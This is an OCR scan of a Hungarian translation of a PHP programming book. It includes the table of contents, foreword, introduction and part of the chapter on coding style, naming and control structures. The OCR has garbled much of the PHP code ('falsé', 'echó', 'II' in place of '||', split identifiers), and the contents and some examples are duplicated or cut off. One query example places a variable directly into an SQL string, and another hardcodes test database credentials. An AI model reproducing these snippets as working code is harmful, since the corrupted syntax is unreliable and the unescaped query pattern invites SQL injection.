Professional Documents
Culture Documents
Tartalomjegyzék
Előszó
A szerzőről
Bevezetés
I. rész Megvalósítási és fejlesztési módszerek
1. fejezet Kódolási stílusok
2. fejezet Objektumközpontú programozás tervezési minták segítségével
3. fejezet Hibakezelés
4. fejezet Megvalósítás PHP nyelven: a sablonok és a Világháló
5. fejezet Megvalósítás PHP nyelven: önálló programok
6. fejezet Egységtesztelés
7. fejezet A fejlesztőkömyezet kezelése
8. fejezet Hogyan tervezzünk jó API-t?
II.rész Gyorstárak
9. fejezet Teljesítményfokozás külső módszerekkel
10. fejezet Adatösszetevők átmeneti tárolása
11. fejezet Számítási újrahasznosítás
III. rész Elosztott alkalmazások
12. fejezet Adatbázisok használata
13. fejezet A felhasználók hitelesítése és a munkamenetek biztonsága
vi PHP fejlesztés felsőfokon
Tárgymutató
Tartalomjegyzék
Előszó
A szerzőről
Bevezetés
Névszimbólumok ................................................................................................ 14
Állandók és valódi globális változók ................................................................. 16
Hosszú életű változók .......................................................................................18
Ideiglenes változók .......................................................................................... 18
Több szóból álló nevek........................................................................................ 19
Függvénynevek .................................................................................................. 19
Osztálynevek...................................................................................................... 20
Tagfüggvénynevek.............................................................................................. 20
Az elnevezések következetessége .......................................................................20
A változónevek és sémanevek egyeztetése ........................................................ 21
A zavaros kódok elkerülése ................................................................................. 22
Rövid címkék......................................................................................................22
HTML készítése echo-val....................................................................................23
Következetes zárójelezés..................................................................................... 23
Dokumentáció .....................................................................................................24
Soron belüli megjegyzések.................................................................................. 25
API dokumentáció.............................................................................................. 26
A phpDocumentor használata........................................................................ 27
További olvasmányok............................................................................................. 31
3. fejezet Hibakezelés
A hibák kezelése.................................................................................................... 76
A hibák megjelenítése ...................................................................................... 76
A hibák naplózása .............................................................................................78
A hibák figyelmen kívül hagyása.........................................................................79
Műveletek végzése hiba esetén .......................................................................... 80
A külső hibák kezelése........................................................................................... 81
Kivételek................................................................................................................85
Kivételhierarchiák használata............................................................................. 88
Típusos kivételek - egy példa .............................................................................90
A kivételek láncolása.......................................................................................... 96
Konstruktőrön belüli hibák kezelése ...................................................................99
Felső szintű kivételkezelő beállítása.................................................................. 100
Adatérvényesítés ............................................................................................ 103
Mikor használjunk kivételeket? .......................................................................... 108
További olvasmányok........................................................................................... 108
6. fejezet Egységtesztelés
Bevezetés az egységtesztelésbe............................................................................. 161
Egységtesztek írása automatikus egységteszteléshez ........................................ 161
Első egységtesztünk.......................................................................................... l6l
Több teszt hozzáadása.......................................................................................163
Kódon belüli és kívüli egységtesztek.....................................................................164
Kódon belüli tesztelés .................................................................................... 164
Önálló tesztek ................................................................................................ 166
Egyszerre több teszt futtatása............................................................................ 168
A PHPUnit további szolgáltatásai......................................................................... 169
Beszédesebb hibaüzenetek létrehozása.............................................................. 170
Több tesztfeltétel hozzáadása............................................................................ 171
A setUpO és tearDownO tagfüggvények használata.......................................... 173
Figyelők hozzáadása ...................................................................................... 174
Grafikus felület használata................................................................................176
PHP fejlesztés felsőfokon xi
Gyorstárak
9. fejezet Teljesítményfokozás külső módszerekkel
Teljesítményfokozás a nyelv szintjén.................................................................... 235
Fordítói gyorstárak............................................................................................236
Nyelvi optimalizálok ...................................................................................... 239
HTTP gyorsítók ............................................................................................. 240
Fordított helyettesek.......................................................................................... 242
Teljesítményfokozás az operációs rendszer szintjén........................................... 246
Helyettes gyorstárak.......................................................................................... 247
Gyorstárbarát PHP alkalmazások..........................................................................248
Tartalomtömörítés................................................................................................ 253
További olvasmányok........................................................................................... 254
RFC-k............................................................................................................... 254
Fordítói gyorstárak............................................................................................254
Helyettes gyorstárak.......................................................................................... 255
Tartalomtömörítés ..........................................................................................255
Elosztott alkalmazások
12. fejezet Adatbázisok használata
Ismerkedés az adatbázisok és lekérdezések működésével ....................................324
Lekérdezések vizsgálata az EXPLAIN segítségével...............................................327
Melyik lekérdezést javítsuk?.............................................................................. 329
Adatbázis-elérési minták...................................................................................... 331
Ad hoc lekérdezések ........................................................................................332
Az aktív rekord minta....................................................................................... 333
A leképező minta.............................................................................................. 335
Az egyesített leképező minta ........................................................................... 341
Az adatbázis-elérés hatékonyságának növelése..................................................... 343
Az eredményhalmaz korlátozása .................................................................... 343
Lusta előkészítés ............................................................................................ 345
További olvasmányok........................................................................................... 348
xiv PHP fejlesztés felsőfokon
Teljesítmény
17. fejezet Teljesítménymérés: teljes alkalmazások tesztelése
A szűk keresztmetszetek passzív azonosítása ...................................................... 456
Terhelésképzők.................................................................................................... 458
ab......................................................................................................................459
httperf .............................................................................................................460
A napló alapú terhelésképző ..................................................................... 461
A munkamenet-szimulátor ........................................................................462
A valósághű adatképző................................................................................ 462
Daiquiri ......................................................................................................... 463
További olvasmányok........................................................................................... 464
B ovíthetoseg
20. fejezet A PHP és a Zend Engine titkai
A Zend Engine működése: opkódok és optömbök................................................. 516
Változók .............................................................................................................522
Függvények.......................................................................................................... 526
Osztályok .......................................................................................................... 528
Az objektumkezelők ....................................................................................... 530
Objektumok létrehozása ................................................................................. 531
Más fontos adatszerkezetek .............................................................................. 531
A PHP kérelmek életciklusa ...............................................................................534
A SAPI réteg..................................................................................................... 535
A PHP magja ................................................................................................. 537
A PHP bővítési API ............................................................................................ 538
A Zend bővítési API.......................................................................................... 539
Összeáll a kép ................................................................................................. 541
xviii PHP fejlesztés felsőfokon
Tárgymutató 659
Előszó
Nemrég lapozgattam William Gibson könyveit és az Ali Tomorrow's Parties című kötetben
erre bukkantam:
Ami túltervezett vagy túl egyedi, annak eredménye mindig előre látható, és ez az előre
láthatóság, ha nem is bukással, de az elegancia hiányával jár.
Gibson elegánsan foglalja össze, miért bukik meg sok rendszer. A színes négyszögek táb-
lára rajzolásával nincs semmi baj, de eme ragaszkodásunk a bonyolulthoz hatalmas hát-
rányt jelent. Amikor megtervezünk valamit, arra van szükség, hogy az adott problémára
adjunk megoldást. Nem szabad előre tekintenünk, hogy a probléma vajon mi lesz évekkel
később, egy nagyméretű, összetett felépítményben, amikor pedig egy általános célú esz-
közt építünk, nem szabad túlzott konkrétsággal megkötnünk a felhasználó kezét.
A PHP maga is e kettő - a webes feladatok megoldásának konkrétsága, illetve egy bizo-
nyos, a felhasználók kezét megkötő megoldás megadására való hajlam - között egyensú-
lyoz. Kevesen mondanák a PHP-re, hogy elegáns. Parancsnyelvként számos, a Világháló
csataterein többéves szolgálat közben szerzett sebet hordoz. Ami elegáns benne, az
a megközelítés egyszerűsége.
Minden fejlesztő időről időre váltogatja, milyen megközelítést alkalmaz egy-egy feladat
megoldására. Kezdetben az egyszerű megoldásokat részesítik előnyben, mert nem elég
tapasztaltak ahhoz, hogy a bonyolultabb elveket megértsék. Ahogy tudásuk gyarapszik,
az alkalmazott megoldások egyre bonyolultabbak lesznek, és a megoldható feladatok
nagysága is fokozatosan nő. Ekkor fenyeget annak a veszélye, hogy az összetettség rutin-
ná válik és csapdába ejt.
Elegendő idő és erőforrás birtokában minden feladat megoldható szinte bármilyen esz-
közzel. Az eszköz csupán arra való, hogy ne legyen útban. A PHP éppen erre törekszik.
Nem kényszerít ránk semmilyen programozási megközelítést, és igyekszik a lehető legki-
sebbre csökkenteni a közénk és a megoldandó probléma közé beékelődő rétegek számát.
xxii PHP fejlesztés felsőfokon
Ez azt jelenti, hogy a PHP-ben minden adott, hogy megtaláljuk a legegyszerűbb és legele-
gánsabb megoldást, és ne kelljen elvesznünk a rétegek és felületek nyolc előadóterem
tábláit elfoglaló tengerében.
Természetesen az, hogy minden eszközt megkapunk, amivel elkerülhetjük egy szörnye-
teg építését, nem garantálja, hogy így is lesz. De szerencsére itt van nekünk George és ez
a könyv. George olyan utazásra hív minket, ami saját útjára hasonlít, nem csupán a PHP-
vel, hanem a programfejlesztéssel és problémamegoldással kapcsolatban általában. Pár
napnyi olvasás után elsajátíthatjuk mindazt a tudást, amit ő a területen évek munkájával
szerzett meg. Nem rossz üzlet, úgyhogy nem is érdemes e haszontalan előszóval veszte-
getni az időt - irány az első fejezet és az utazás!
Rasmus Lerdorf
A szerzőről
George Schlossnagle igazgatóként dolgozik az OmniTI Computer Consulting nevű marylan-
di cégnél, amelynek szakterületét a nagyméretű webes és elektronikus levelezési rendsze-
rek jelentik. Mielőtt az OmniTI-hez került volna, technikai vezetője volt számos magas-
szintű közösségi webhelynek, ahol tapasztalatokat szerzett a PHP igen nagy vállalati kör-
nyezetekben történő alkalmazásával kapcsolatban. Állandó résztvevője a PHP közösség
munkájának, hozzájárult többek között a PHP mag, illetve a PEAR és PECL bővítménytá-
rak fejlesztéséhez.
Köszönetnyilvánítás
A könyv írása során rengeteget tanultam, és ezt mindenkinek meg szeretném köszönni,
aki segítette munkámat. A PHP valamennyi fejlesztőjének köszönöm, hogy kemény mun-
kával ilyen nagyszerű terméket állítottak elő. Állandó erőfeszítéseik nélkül e kötetnek
nem lett volna témája.
Shelley Johnston, Dámon Jordán, Sheila Schroeder, Kitty Jarrett, és a Sams kiadó többi
munkatársa: köszönöm, hogy bizalmat szavaztak nekem és könyvemnek. Nélkülük ez
csak egy meg nem valósult ábránd lenne.
Műszaki szerkesztőim, Brian Francé, Zak Greant és Sterling Hughes: köszönöm a fejezet-
vázlatok elolvasására és megjegyzésekkel ellátására szánt időt és energiát, ami nélkül -
biztos vagyok benne - a könyv befejezetlen maradt volna, és tele lenne hibával.
Szüleimnek: köszönöm, hogy azzá neveltetek, aki ma vagyok, és különösen hálás vagyok
anyámnak, Sherrynek, aki nagylelkűen végigolvasta a könyv valamennyi fejezetét. Remé-
lem, büszkék lehettek rám.
Ez a könyv arra törekszik, hogy az Olvasóból szakértő PHP programozót faragjon. Szakér-
tő programozónak lenni nem csupán annyit jelent, hogy tökéletesen ismerjük a nyelvtant
és a nyelv szolgáltatásait (bár ez kétségkívül segít), hanem azt is, hogy képesek vagyunk
hatékonyan használni feladatok megoldására. A könyv elolvasása után tisztában leszünk
a PHP erősségeivel és gyengéivel, valamint a webes és más feladatok megoldásának leg-
jobb módszereivel.
A kötet az elveket tartja szem előtt, így általános problémákat ír le, és ezekre ad egy-egy
konkrét példát, szemben a „szakácskönyv" szemléletű könyvekkel, amelyekben mind
a problémák, mind a megoldások egyediek. Ahogy az angol mondás tartja: „Adj egy halat,
és egy napig van mit ennem - taníts meg halászni, és soha többé nem éhezem." A kötet
célja, hogy megtanítsa az eszközök használatát, amelyekkel bármilyen feladatot megold-
hatunk, és hogy megtanítsa kiválasztani a megfelelő eszközt.
Mára egyik sem jelent akadályt. A PHP többé nem ragasztónyelv, amit lelkes amatőrök
használnak, hanem erőteljes parancsnyelv, amelyet felépítése ideálissá tesz a webes fel-
adatok megoldására.
Egy programozási nyelv hat követelménynek kell, hogy eleget tegyen, hogy üzleti célú al-
kalmazásokban is használhatóvá váljon:
A könyv felépítése
A kötet öt, többé-kevésbé önálló részre oszlik. Bár úgy szerkesztettük meg, hogy az ér-
deklődő könnyen előreugorhasson egy adott fejezethez, a könyvet javasolt elejétől a vé-
géig elolvasni, mert számos példát fokozatosan építünk fel.
A könyv szerkezete a tanulás természetes folyamatához igazodik. Először azt tárgyaljuk, ho-
gyan kell helyes PHP kódot írni, majd rátérünk az egyes módszerekre, azután a teljesítmény
fokozására, végül a nyelv bővítésére. A felépítés azon alapul, hogy hisszük, egy profi prog-
ramozó legfontosabb felelőssége, hogy „karbantartható" kódot írjon, és hogy könnyebb egy
jól megírt kódot gyors futásúvá tenni, mint egy gyors, de silány kódot feljavítani.
3. fejezet (Hibakezelés)
Hibázni emberi dolog. A harmadik fejezet a PHP eljárásközpontú (procedurális) és OOP
hibakezelő eljárásait tárgyalja, különös tekintettel a PHP 5 új, kivétel alapú hibakezelési
képességeire.
xxviii PHP fejlesztés felsőfokon
6. fejezet (Egységtesztelés)
Az egységtesztelés annak egyik módszere, hogy ellenőrizzük, a kód megfelel-e arra a célra,
amire létrehoztuk. A hatodik fejezetben megvizsgáljuk az egységtesztelési módszereket, és
azt, hogy a PHPUnit segítségével hogyan készíthetünk rugalmas egységtesztelő csomagokat.
V. rész Bővíthetőség
20. fejezet (A PHP és a Zend Engine titkai)
Ha tudjuk, hogyan működik a PHP „a színfalak mögött", okosabb tervezési döntéseket
hozhatunk, kihasználva a PHP erősségeit és megkerülve gyengéit. A huszadik fejezet
a PHP belső működésének technikai részleteit tartalmazza, illetve azt, hogy hogyan kom-
munikálnak a webkiszolgálókhoz hasonló alkalmazások a PHP-vel, hogyan készít az ér-
telmező a parancsfájlokból köztes kódot, és hogyan zajlik a program végrehajtása a Zend
motorban.
Felületek és változatok
A kötet a PHP 5-re épül, de az anyag mintegy tíz százalékának kivételével nem kifejezet-
ten csak a PHP 5-re vonatkozik. (Az említett tíz százalékba a 2. és 22. fejezetekben bemu-
tatott új, objektumközpontú szolgáltatások, illetve a 16. fejezetben a SOAP tárgyalása tar-
tozik.) Elveket és módszereket mutatunk be, hogy kódunk gyorsabb, okosabb és jobban
tervezett legyen. Reményeink szerint legalább a könyv fele hasznosnak bizonyul abban,
hogy bármilyen nyelven jobb kódot írjunk.
Nem számít, milyen szintű tudással rendelkezünk a PHP-t illetően, nem számít, mennyire
ismerjük a nyelvet, annak szabályait és különböző szolgáltatásait, attól még írhatunk silány
vagy zavaros kódot. A nehezen olvasható kód pedig nehezen karbantartható, és kínszen-
vedés benne a hibakeresés. A szegényes kódolási stílus a szakértelem hiányát mutatja.
Ha pillanatnyi munkánk életünk végéig tartana és soha nem kellene másnak a kódhoz
nyúlnia, akkor sem lenne elfogadható, hogy olyan kódot írjunk, ami rosszul szerkesztett.
Nekem is nehézséget okoz a két-három éve általam írt könyvtárak bővítése és azokban a
hibák keresése, még akkor is, ha a stílus tiszta. Ha pedig olyan kódra bukkanok, amit
rossz stílusban írtam meg, gyakran éppoly sokáig tart kibogoznom annak logikáját, mint-
ha újra megírnám a semmiből.
A helyzetet bonyolítja, hogy egy programozó sem „légüres térben" dolgozik: programjain-
kat jelenlegi és jövőbeli kollégáinknak kell majd karbantartaniuk. Két, önmagában megfe-
lelő stílus keveréke viszont ugyanúgy olvashatatlan és karbantarthatatlan kódot eredmé-
nyezhet, mintha semmilyen stílust nem követnénk, ezért nem csak az a fontos, hogy meg-
felelő stílusban programozzunk, hanem az is, hogy az együtt dolgozó fejlesztők követke-
zetesen ragaszkodjanak egy közös stílushoz.
4 PHP fejlesztés felsőfokon
Megtörtént, hogy örököltem egy megközelítőleg 200 000 sorból álló kódtárat, amit három
fejlesztőcsapat dolgozott ki. Volt, amikor szerencsém volt, és egy include legalább fájlon
belül következetesnek bizonyult - de gyakran megesett, hogy egyetlen fájlban három kü-
lönböző stílus képviselte magát.
Amellett, hogy fontos képesnek lennünk egy induló munka stílusának kiválasztására, meg
kell tanulnunk alkalmazkodnunk más szabványokhoz is. Nincs tökéletes szabvány: a kó-
dolási stílus leginkább személyes ízlésünktől függ. A „tökéletes stílus" kiválasztásánál sok-
kal többet ér, ha a kód stílusa mindenhol következetes - tehát ne siessünk megváltoztatni
egy általunk véletlenül nem kedvelt, de egyébként következetes stílust.
Behúzás
Ebben a könyvben a kód szerkezetét és a kódblokkokat behúzással jelöljük. A kódszerve-
zés eszközeként alkalmazott behúzások jelentőségét nem lehet eléggé hangsúlyozni. Szá-
mos programozó olyannyira fontosnak tartja, hogy a Python programozási nyelv például
nyelvtani szabályként tartalmazza: a helytelen behúzásokat tartalmazó Python kód le sem
fordítható!
Bár a behúzás a PHP-ben nem kötelező, olyan erőteljes vizuális szervezőeszköz, amit cél-
szerű következetesen felhasználnunk programjainkban.
else {
return 28;
}
}
else {
return 31;
}
Vessük össze a kódot a következő változattal, ami a behúzásoktól eltekintve teljesen meg-
egyezik vele:
if ($month == 'september' ||
$month == 'april' ||
$month == 'june' ||
$month == 'november') {
return 3 0;
}
else if($month == 'february') {
i f( ( ( $ y e ar % 4 == 0) && ($year % 1 0 0 )) II ($year % 400 ==0)) {
return 29;
}
else {
return 28;
}
}
else {
return 31;
}
Amikor a behúzásra tabulátorokat használunk, el kell döntenünk, hogy kemény vagy lágy
tabulátorokat alkalmazunk, és ehhez következetesen ragaszkodnunk kell a kódban.
A szokványos tabulátorok kemény tabulátorok. A lágy tabulátárok viszont tulajdonkép-
pen nem is tabulátorok: ekkor adott számú normál szóközt használunk. A lágy tabuláto-
rok előnye, hogy mindig ugyanúgy jelennek meg, függetlenül a szerkesztő tabulátorbeál-
lításaitól. (A szerző a lágy tabulátorokat részesíti előnyben.) Segítségükkel könnyen fenn-
tartható a következetes behúzás, illetve térköz-használat a kód egészében. Amennyiben
kemény tabulátorokat alkalmazunk - különösen ha több fejlesztő különféle szerkesztő-
programokkal dolgozik az adott munkán -, könnyen előfordulhat, hogy a behúzási szin-
tek összekeverednek.
Pillantsunk az 1.1 és 1.2 ábrákra. Mindkettő pontosan ugyanazt a kódot mutatja, csakhogy
az egyik zavaros, míg a másik tisztán olvasható.
6 PHP fejlesztés felsőfokon
1.1 ábra
Helyesen behúzott kód.
1.2 ábra
Az 1.1 ábrán látott kód, egy más beállításokat tartalmazó szerkesztőben.
A használni kívánt tabulátorszélességet is előre ki kell választanunk. Négy szóköz már ál-
talában jól olvasható kódot eredményez, miközben megfelelő mennyiségű beágyazási
szintet biztosít. A könyvoldalak viszont némileg kevesebb teret adnak, mint a terminálab-
lakok, ezért a kötet minden kódjában két szóközt alkalmaztunk tabulátorszélességként.
1. fejezet • Kódolási stílusok 7
Emellett a vim : retab parancsa minden kemény tabulátort lágy tabulátorrá alakít a do-
kumentumban, így célszerű ezt alkalmaznunk, ha a tabulátorok használatáról át szeret-
nénk állni szóközökre.
/*
* Local variables:
* tab-width: 2
* c-basic-offset: 2
* indent-tabs-mode: nil
* End:
*/
Számos nagy programban (közéjük tartozik maga a PHP nyelv is), ilyen típusú megjegy-
zéseket helyeznek el minden állomány alján; hogy a fejlesztők következetesen betartsák
a projekt behúzási szabályait.
Sortiossz
A „hány nap van egy hónapban" függvény első sora meglehetősen hosszú, így nehezen
látható át az értékellenőrzések sorrendje. Ilyen esetekben célszerű a hosszú sorokat több
sorra tördelni, valahogy így:
if ($month == 'september' I I
$month == 'april' II
$month == 'june' II
$month == 'november')
{
return 30;
}
8 PHP fejlesztés felsőfokon
mail("postmaster@example.foo",
"My Subject",
$message_body,
"From: George Schlossnagle <george@omniti.com>\r\n");
Én általában minden 80 karakternél hosszabb sort több sorba írok, mert ez a szabványos
Unix terminálablakok szélessége, és megfelel arra is, hogy a kódot olvashatóbb betűtípus-
sal kinyomtassuk.
Térközök használata
A térközökkel a kód logikai szerkezetét tükrözhetjük; segítségükkel például hatékonyan
csoportosíthatjuk az értékadásokat, és rávilágíthatunk az összefüggésekre. Az alábbi kód
rosszul formázott és nehezen olvasható:
$lt = localtimeO ;
$name = $_GET [ ' name ' ] ;
$email = $_GET['email'];
$month = $lt['tm_mon'] + 1;
$year = $lt['tm_year'] + 1900;
$day = $lt['tm_day'];
$address = $_GET['address'];
$name = $_GET['name'];
$email = $_GET['email'];
$address = $_GET['address'];
$lt = localtime();
$day = $lt['tm_day'];
$month = $lt['tm_mon'] + 1;
$year = $lt [ ' tm^ear ' ] + 1900;
SQL irányelvek
A fejezetben eddig lefektetett kódformázási és -elrendezési szabályok érvényesek mind
a PHP, mind az SQL kódokra. Az adatbázisok a legtöbb mai webhely szerves részét képe-
zik, így az SQL nélkülözhetetlen része a kódtáraknak. Az SQL lekérdezések azonban - fő-
leg azokban az adatbázis-rendszerekben, amelyek támogatják az összetett allekérdezése-
ket - könnyen bonyolulttá és áttekinthetetlenné válhatnak, ezért a PHP-hez hasonlóan az
SQL kódokban is használjunk bátran térközöket és sortörést.
1. fejezet • Kódolási stílusok 9
Vezérlési szerkezetek
A vezérlési szerkezetek olyan alapvető építőelemek, amelyeket szinte minden modern
programozási nyelv tartalmaz. A vezérlési szerkezetek szabják meg, milyen sorrendben
hajtja végre a program az utasításokat. Két fajtájuk létezik: a feltételes utasítások és a cik-
lusok. Azok az utasítások, amelyek csak akkor hajtódnak végre, ha egy adott feltétel telje-
sül, feltételes utasítások, míg a ciklusok ismétlődően végrehajtott utasítások.
Az, hogy egy feltétel teljesülését vizsgálhatjuk, és az állítás igaz vagy hamis voltától függő-
en hajthatunk végre műveleteket, lehetővé teszi, hogy a kódba döntési logikát építsünk
be. A ciklusok arra adnak módot, hogy ugyanazt a logikát ismételjük, és így meghatáro-
zatlan adatokon végezzünk bonyolult feladatokat.
if(isset($name))
echó "Hello $name";
10 PHP fejlesztés felsőfokon
Annak ellenére azonban, hogy ez működő kód, nem ajánlott a használata. Ha kihagyjuk
a kapcsos zárójeleket, később nehéz lesz anélkül módosítani a kódot, hogy hibát ne véte-
nénk. Amennyiben például egy újabb sorral szeretnénk kiegészíteni a fenti utasítást, de
nem figyelünk eléggé, ilyesmit írhatunk:
if(isset($name))
echó "Hello $name";
$known_user = true;
if (isset($name)) {
echó "Hello $name";
}
else {
echó "Hello Stranger";
}
• GNU stílus: a zárójelek itt is a feltételt követő sorba kerülnek, de félúton behúzva
a kulcsszó és a feltétel közé:
if ($feltétel)
{
// utasítás
}
A kapcsos zárójelek használati módja már-már vallásos színezetet ölt. A vita szenvedélyes-
ségét jelzi például, hogy a K&R stílusra időnként úgy hivatkoznak, mint ami „az egyeden
igazi zárójelezési stílus". Pedig végsősoron mindegy, melyik stílus mellett döntünk; csak
az számít, hogy meghozzuk a döntést és következetesen ragaszkodjunk hozzá. Nekem
tetszik a K&R stílus tömörsége, kivéve amikor a feltétel több sorra törik, amikor is átlátha-
tóbbnak találom a BSD stílust. Az utóbbit részesítem előnyben a függvények és osztályok
bevezetésénél is, valahogy így:
function hello($name)
{
echó "Hello $name\n";
}
Az, hogy a függvénydeklarációk zárójelei egészen kikerülnek a bal margóra, lehetővé te-
szi, hogy első pillantásra felismerjük őket. Mindazonáltal ha olyan munkához csatlako-
zom, aminek már kialakult stílusa van, igazodom hozzá, még ha magam másik stílust is
részesítek előnyben. Hacsak az adott stílus nem kifejezetten rossz, a következetesség min-
dig fontosabb.
function is_prime($number)
{
$i = 2;
while($i < $number) {
if ( ($number % $i ) == 0) {
return falsé;
}
$i + +;
}
return true;
}
Ez a ciklus nem túl hatékony. Gondoljunk bele, mi történik, ha az alábbihoz hasonló mó-
don egy újabb vezérlési ággal bővítjük:
function is_prime($number)
{
If ( ($number % 2) != 0) {
return true;
}
$i = 0;
while($i < $number) {
12 PHP fejlesztés felsőfokon
Ebben a példában először ellenőrizzük, hogy a szám osztható-e kettővel. Ha nem, már
nincs szükség arra, hogy megnézzük, osztható-e bármilyen más páros számmal, hiszen
minden páros szám közös osztója a 2. Itt véletlenül beavatkoztunk a növelő műveletbe,
így végtelen ciklusba kerültünk.
A véges számú ismétlődő műveletekhez természetesebb választás a f or ciklus, ahogy itt is:
function is_prime($number)
{
if(($number % 2) != 0) {
return true;
}
for($i=0; $i < $number; $i++) {
// Egyszerűen ellenőrizzük, hogy $i páros-e
if( ($i & 1) == 0 ) {
continue;
}
if ( ($number % $i ) = = 0 ) {
return falsé;
}
}
return true;
}
Ha tömböket járunk be, a f or-nál még jobb, ha a f oreach ciklust használjuk. Lássunk
erre is egy példát:
Amikor egy ciklust hajtunk végre, a break használatával ugorhatunk ki azokból a ciklus-
blokkokból, amelyek végrehajtására már nincs szükségünk. Vegyük a következő ciklust,
ami egy beállítófájlt dolgoz fel:
$has_ended = 0 ;
while(($line = fgets($fp)) !== falsé) {
if($has_ended) {
}
else {
if(strcmp($line, '_END_') == 0) {
$has_ended = 1;
}
if(strncmp($line, '//', 2) == 0) {
}
else {
// utasítás feldolgozása
}
}
}
Szeretnénk figyelmen kívül hagyni azokat a sorokat, amelyek C++ stílusú megjegyzések-
kel (vagyis / / jelzéssel) kezdődnek, a feldolgozást pedig teljesen be szeretnénk szüntetn:
ha egy _END_ deklarációba ütközünk. Ha a cikluson belül nem használunk vezérlési szei
kezeteket, kénytelenek leszünk egy kis állapotautomatát építeni. A csúnya beágyazott uta
sításokat a continue és a break alkalmazásával kerülhetjük ki:
while(($line = f g e t s ( $ f p ) ) != = falsé) {
if(strcmp($line, '_END_') == 0) {
break;
}
if(strncmp($line, '//', 2) == 0) {
continue;
}
// utasítás feldolgozása
}
Ez a változat nem csak rövidebb, mint a megelőző, hanem hiányoznak belőle a zavaró
beágyazások is.
14 PHP fejlesztés felsőfokon
Programírás során gyakran követik el azt a hibát, hogy mélyen egymásba ágyazott felté-
teleket hoznak létre, amikor egy ciklus is elég lenne. íme egy jellemző kód, amiben szin-
tén ez a hiba szerepel:
Ebben a példában a kód törzse (ahol a $line változó feldolgozása történik) két behúzási
szinttel beljebb kezdődik, ami egyrészt zavaró, másrészt a szükségesnél hosszabb sorokat
eredményez, a hibakezelő feltételeket szétszórja a kódban, és megkönnyíti a zárójelezési
hibák vetését.
Névszimbólumok
A PHP szimbólumokkal rendeli az adatokat a változónevekhez. A szimbólumok adnak
módot arra, hogy későbbi újrahasznosítás céljából nevet adhassunk az adatoknak. Minden
alkalommal, amikor bevezetünk egy változót, létrehozunk számára egy bejegyzést az ak-
tuális szimbólumtáblában, és az aktuális értékéhez kötjük. íme egy példa:
$foo = 'bar';
Ebben az esetben a f oo számára hozunk létre egy bejegyzést az aktuális szimbólumtáblá-
ban, és hozzákapcsoljuk aktuális értékéhez, a bar-hoz. Amikor egy osztályt vagy függvényt
határozunk meg, egy másik szimbólumtáblába szúrjuk be azt. Lássunk erre is egy példát:
1. fejezet • Kódolási stílusok 15
function hello($name)
{
print "Hello $name\n";
}
Itt a hello a függvények szimbólumtáblájába kerül és a lefordított kódhoz (optree)
kapcsolódik.
A 20. fejezetben megnézzük, hogyan zajlanak ezek a műveletek a PHP-ben, de most arra
összpontosítunk, hogyan tehetjük a kódot olvashatóbbá és könnyebben karbantarthatóvá.
Ezt gond nélkül lecserélhetjük a következő kódra, amiben már beszédesebb neveket talá-
lunk, amelyek jobban rávilágítanak, mi is történik itt:
function create_test_array($size)
{
fo r ( $ i = 0; $i < $size; $i++) {
$retval[$i] = "test_$i";
}
return $retval;
}
A PHP-ben minden osztály- vagy függvénytörzsön kívül meghatározott változó automati-
kusan globális változó lesz. A függvényen belül megadott változók csak az adott függvé-
nyen belülről láthatók, ha pedig azt szeretnénk, hogy egy globális változó egy függvé-
nyen belülről is elérhető legyen, a global kulcsszóval kell bevezetnünk. A változók lát-
16 PHP fejlesztés felsőfokon
function list_cache()
{
global $CACHE_PATH;
$dir = opendir($CACHE_PATH);
while(($file = readdir($dir)) !== falsé && is_file{$file)) {
$retval[] = $file;
}
closedir($dir);
return $retval;
}
A csupa nagybetű használata révén azt is rögtön kiszúrhatjuk, ha olyan változót próbálunk
globálissá tenni, amit nem kellene.
global $database_handle;
global $server;
global $user;
global $password;
$database_handle = mysql_pconnect($server, $user, $password);
class Mysql_Test {
public $database_handle;
priváté $server = 'localhost';
priváté $user = 'test1;
priváté $password = ' t e s t ' ;
public function _____ construct()
{
$this->database_handle =
mysql_pconnect($this->server, $this->user, $this->password);
}
}
A 2. fejezetben ismét elővesszük ezt a példát, és az egykék, illetve burkoló osztályok is-
mertetésénél még hatékonyabb megoldásokat mutatunk be.
Ebben az esetben egy osztály használata túlzás lenne. Ha nem szeretnénk globális válto-
zót alkalmazni, helyettesítsük egy elérő függvénnyel, ami statikus változóként a globális
tömböt kapja:
function us_states()
{
static $us_states = array('Alabama', ... , 'Wyoming');
return $us_states;
}
function clean_cache($expiration_time) {
global $CACHE_PATH;
$cachefiles = list_cache();
foreach($cachefiles as $cachefile) {
if(filemtime($CACHE_PATH." / " .$cachefile) > time() +
$expiration_time) {
unlink($CACHE_PATH." / " .$cachefile);
}
}
}
Ideiglenes változók
Az ideiglenes változók neve legyen rövid és tömör. Mivel ilyen változókat általában csak
kisebb kódblokkokban találunk, nem kell, hogy a nevük magyarázó jellegű legyen.
Ez különösen a ciklusváltozókra igaz; ezeknek célszerű mindig az i, j, k, 1, m és n
neveket adni.
foreach($parent as $child) {
foreach($child as $element) {
my_function($element);
}
}
$numElements = count($elements);
$num_elements = count($elements);
Függvénynevek
A függvényneveket ugyanúgy kell kezelni, mint az egyszerű változóneveket. Legyenek
csupa kisbetűsek, és a több szóból álló nevekben a szavakat válasszuk el aláhúzásjelekkel.
Emellett érdemes a kapcsos zárójeleknek a függvények bevezetésére érvényes klasszikus
K&R stílusát követni, ahol a zárójeleket a function kulcsszó alá igazítjuk. (Ami különbö-
zik a feltételes utasítások K&R stílusától.) íme egy példa a klasszikus K&R stílusra:
function print_hello($name)
{
echó "Hello $name";
}
20 PHP fejlesztés felsőfokon
Osztálynevek
A Sun hivatalos Java stílus-útmutatója (lásd a További olvasmányok részt a fejezet végén)
szerint az osztályneveknek az alábbi szabályokat kell követniük:
class XML_RSS {}
class Text_PrettyPrinter {}
Tagfüggvénynevek
A Java stílus szerint a több szóból álló tagfüggvény- vagy metódusnevekben összefűzzük
a szavakat, és az elsőt kivéve minden szót nagybetűvel kezdünk. Nézzünk erre is egy példát:
class XML_RSS
{
function startHandler() {}
}
Az elnevezések következetessége
Az azonos célt szolgáló változók neve is legyen egyforma. Az alábbihoz hasonló kód je-
lentős tudathasadást mutat:
$num_elements = count($elements);
$objects_cnt = count($objects);
1. fejezet • Kódolási stílusok 21
$max_e1ement s;
$min_elements;
$sum_elements;
$prev_item;
$curr_item;
$next_item;
Más, esetleg rövidített nevek használata zavaró és félrevezető lehet, ami megnehezíti
a kód későbbi módosítását.
Az általam valaha látott talán legzavaróbb változónevek egy olyan kódblokkban bukkan-
tak fel, ami egy termékrendelési adatbázison végzett műveleteket. Az egyik ilyen művelet
része volt két oszlop értékének felcserélése. A helyes megközelítés ez lett volna:
$first_query = "SELECT a , b
FROM subscriptions
WHERE subscription_id = $subscription_id";
